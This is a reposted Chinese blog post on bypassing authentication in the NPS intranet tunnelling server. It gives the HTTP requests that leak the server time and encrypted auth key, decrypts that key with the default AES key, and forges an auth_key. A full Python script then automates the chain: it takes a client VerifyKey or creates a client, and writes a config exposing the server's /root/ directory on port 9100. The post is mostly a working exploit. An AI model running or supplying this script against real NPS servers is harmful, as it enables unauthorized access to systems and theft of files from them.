9

NPS未授权访问

 1 year ago
source link: https://misakikata.github.io/2022/08/NPS%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

nps未授权访问

根据GitHub上的脚本,得知auth_key基本都是本地MD5加密得来的,但在一些系统上测试失败,后来发现是本地和服务器的时间有问题,所以查了一下文档,发现有直接获取时间戳和加密密钥的地方。



  1. POST /auth/gettime HTTP/1.1
  2. Host: 192.168.70.250:18080
  3. Content-Length: 7
  4. Connection: close
  5. Cookie:beegosessionID=xxxxx
  6. search=

返回一个json字段,里面包含服务器的时间戳。



  1. POST /auth/getauthkey HTTP/1.1
  2. Host: 192.168.70.250:18080
  3. Content-Length: 7
  4. Connection: close
  5. Cookie:beegosessionID=xxxxx
  6. search=

返回加密的auth_key,这个key是配置文件内的key,也就是默认为注释掉的那个。并不能直接拿来使用,如果这个值为5acabcf051cd55abca03d18294422e01,说明为空,如果为其他说明被修改过,这时候就要算auth_crypt_key的值是不是也被修改了,如果没有则可以



  1. AES-CBC pkcs5 128位 key=1234567812345678 iv=1234567812345678 hex

进行解密,也就是说至少要有一个auth_crypt_key没被修改或已知。

如果到此处可以未授权访问,那么就可以查看客户端信息,来获取VerifyKey,获取这个东西目的是为了把客户吨连接到服务端。也就是返回中的这一段值



  1. "Id": 2,
  2. "VerifyKey": "6sabs7dyn4rf1oob",
  3. "Addr": "192.168.70.250",
  4. "Remark": "",
  5. "Status": true,
  6. "IsConnect": true,

构造一个配置文件,其中的8024位默认的端口,需要在服务端的配置文件中修改,不对的话没事,访问首页去查看一下就行。



  1. [common]
  2. server_addr=1.1.1.1:8024
  3. vkey=123
  4. [file]
  5. mode=file
  6. server_port=9100
  7. local_path=/root/
  8. strip_pre=/web/

这样就可以把客户端加入,并且构造了一个访问服务端文件的地址。地址就会映射到本地文件系统上。



  1. xxx:9100/web

编写一个脚本来统一这个过程。



  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # @Time : 2022/8/16 14:13
  4. # @Author : misakikata
  5. # @File : nps_bypass.py
  6. # @Description : autoremove
  7. import argparse
  8. import requests
  9. import json,sys
  10. import hashlib
  11. from Crypto.Cipher import AES
  12. # from urllib.parse import urlparse
  13. from binascii import a2b_hex
  14. requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
  15. headers = {
  16. "Cookie":"beegosessionID=2313ba62226729bf9bb0b9680da80a5f",
  17. "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36",
  18. "Content-Type":"application/x-www-form-urlencoded",
  19. "Accept":"application/json, text/javascript, */*; q=0.01"
  20. }
  21. file_w = """[common]
  22. server_addr={host}:8024
  23. vkey={vkey}
  24. [file]
  25. mode=file
  26. server_port=9100
  27. local_path=/root/
  28. strip_pre=/web/
  29. """
  30. def get_time(host):
  31. url = host + "/auth/gettime"
  32. r = requests.post(url, headers=headers, data={"search":""})
  33. time = json.loads(r.text)['time']
  34. return time
  35. def gen_authkey(authkey, timestamp):
  36. mdf = hashlib.md5()
  37. mdf.update((authkey+str(timestamp)).encode('utf-8'))
  38. auth_key = mdf.hexdigest()
  39. return auth_key
  40. def get_key(host):
  41. url = host + "/auth/getauthkey"
  42. r = requests.post(url, headers=headers, data={"search": ""})
  43. key = json.loads(r.text)['crypt_auth_key']
  44. if key == "5acabcf051cd55abca03d18294422e01":
  45. authkey = ""
  46. else:
  47. if deco_key("1234567812345678", key):
  48. authkey = deco_key("1234567812345678", key)
  49. else:
  50. return False
  51. return authkey
  52. def add_to_16(value):
  53. while len(value.encode('utf-8')) % 16 != 0:
  54. value += '\x00'
  55. return value.encode('utf-8')
  56. def deco_key(key0,data):
  57. try:
  58. aes = AES.new(key=add_to_16(key0), mode=AES.MODE_CBC, iv=key0.encode())
  59. decryptedstr = aes.decrypt(a2b_hex(data)).decode().strip()
  60. return decryptedstr
  61. except:
  62. return False
  63. def gen_conf(host, vkey):
  64. host = host.split(':')[0:2]
  65. file = file_w.format(host=''.join(host), vkey=vkey)
  66. with open("config.ini", 'w') as f:
  67. f.write(file)
  68. return True
  69. def get_vkey(host, data):
  70. url = host + "/client/list"
  71. r = requests.post(url, headers=headers, data=data)
  72. if r.status_code == 200:
  73. try:
  74. vkey = json.loads(r.text)['rows'][0]['VerifyKey']
  75. return vkey
  76. except:
  77. if gen_client(host, data):
  78. print("无客户端,创建客户端成功")
  79. r = requests.post(url, headers=headers, data=data)
  80. vkey = json.loads(r.text)['rows'][0]['VerifyKey']
  81. return vkey
  82. else:
  83. return False
  84. else:
  85. return False
  86. def gen_client(host, data):
  87. url = host + "/client/add"
  88. data = "remark=&u=&p=&vkey=&config_conn_allow=1&compress=0&crypt=0&"+data
  89. r = requests.post(url, headers=headers, data=data)
  90. if r.status_code == 200:
  91. if json.loads(r.text)['status'] == 1:
  92. return True
  93. return False
  94. def main(host):
  95. times = get_time(host)
  96. if get_key(host):
  97. getkey = get_key(host)
  98. else:
  99. print(host+" 解密失败!")
  100. sys.exit(0)
  101. auth_key = gen_authkey(getkey, times)
  102. data = "auth_key={auth_key}&timestamp={timestamp}&start=0&limit=10".format(auth_key=auth_key,timestamp=times)
  103. r = requests.post(host, headers=headers, data=data)
  104. if r.status_code == 200:
  105. print(host+" is vuln!")
  106. if get_vkey(host, data):
  107. vkey = get_vkey(host, data)
  108. if gen_conf(host, vkey):
  109. print("请运行nps客户端命令:./npc -config=config.ini,并访问{host}:9100/web".format(host=''.join(host.split(':')[0:2])))
  110. else:
  111. print("未创建客户端或者获取失败!")
  112. else:
  113. print(host+" not is vuln!")
  114. if __name__ == '__main__':
  115. parser = argparse.ArgumentParser(
  116. description="NPS Bypass")
  117. parser.add_argument('-u', '--url', type=str,
  118. help="单个url检测,默认密钥进行解密")
  119. args = parser.parse_args()
  120. if len(sys.argv) == 3:
  121. if sys.argv[1] in ['-u', '--url']:
  122. main(args.url)
  123. else:
  124. parser.print_help()

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK